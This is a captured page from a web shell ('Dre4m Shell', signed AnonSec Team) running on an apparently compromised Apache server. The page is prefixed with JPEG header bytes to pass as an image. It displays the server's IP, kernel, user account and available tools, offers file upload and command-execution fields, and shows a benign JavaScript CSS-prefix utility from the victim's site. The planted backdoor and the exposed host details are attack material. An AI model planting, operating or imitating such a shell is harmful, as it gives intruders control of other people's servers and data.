ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/8-maquette-diaboloAAAAAAAAAA.com/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/8-maquette-diaboloAAAAAAAAAA.com/js/PrefixFinder.js
// JavaScript Document
  var PrefixFinder = function(){
	this.setPrefixes();
	if(!this.navFullySupported){
		this.navFullySupported = false;
		this.prefixe = {css: '-ms-', js: 'ms'};
	}
};
PrefixFinder.prototype = {
	navFullySupported: true,
	listPrefixes: {},
	prefixe: {css: false, js: false},
	setPrefixes: function() {
		if(window.getComputedStyle){
			var allStyles = window.getComputedStyle(document.documentElement, ''),
					pre = (Array.prototype.slice.call(allStyles).join('|'));
			var tmp = pre.match(/\|-([^-]+)-([^|]+)\|/) || (allStyles.OLink === '' && ['', 'o']);
			this.prefixe.css = '-'+tmp[1]+'-';
			var testElem = document.createElement('div').style;
			tmp[2] = this.camelize(tmp[2], true);
			if((tmp[1] + tmp[2]) in testElem){
				this.prefixe.js = tmp[1];
				return true;
			}
			tmp[1] = this.camelize(tmp[1], true);
			if((tmp[1] + tmp[2]) in testElem){
				this.prefixe.js = tmp[1];
				return true;
			}
		}
		this.navFullySupported = false;
	},
	camelize: function(st, full){
		st = st.replace(/-([a-z])/g, function(reg, camel){
			return camel.toUpperCase();
		});
		if(full){
		   return st.replace(st.charAt(0), st.charAt(0).toUpperCase());
		}
		return st
	},
	deCamelize: function(st){
		return st.replace(/[A-Z]/g, function(camel, pos){
			return (pos == 0 ? '' : '-') + camel.toLowerCase();
		});
	},
	getPrefixedProp: function(prop){
		prop = this.deCamelize(prop);
		var jsProp = this.camelize(prop);
		if(this.listPrefixes[jsProp]){
			return this.listPrefixes[jsProp];
		}
		var tester = document.createElement('div').style;
		if(jsProp in tester){
			this.listPrefixes[jsProp] = {css: prop, js: jsProp};
			return {css: prop, js: jsProp};
		}
		var jsPropPref = this.prefixe.js + jsProp.replace(jsProp.charAt(0), jsProp.charAt(0).toUpperCase());
		if(jsPropPref in tester){
			this.listPrefixes[jsProp] = {css: this.prefixe.css + prop, js: jsPropPref};
			return {css: this.prefixe.css + prop, js: jsPropPref};
		}
		this.listPrefixes[jsProp] = {css: false, js: false};
		return {css: false, js: false};
	},
    getPrefixedPropValue: function(prop, valeur){
        prop = this.deCamelize(prop);
        var tester = document.createElement('div').style;
        var jsProp = this.camelize(prop);
        test:if(jsProp in tester){
            try {
                tester[jsProp] = valeur;
            } catch (e) {
                break test;
            }
            if(tester[jsProp] != ''){
                return {css: prop, js: jsProp, valeur: tester[jsProp]};
            }
        }
        jsProp = this.prefixe.js + jsProp.replace(jsProp.charAt(0), jsProp.charAt(0).toUpperCase());
        test:if(jsProp in tester){
            try {
                tester[jsProp] = valeur;
            } catch (e) {
                break test;
            }
            if(tester[jsProp] != ''){
                return {css: this.prefixe.css + prop, js: jsProp, valeur: tester[jsProp]};
            }
        }
        var ret = this.getPrefixedProp(prop);
        ret.valeur = false;
        return ret;
    }
};

Anon7 - 2022
AnonSec Team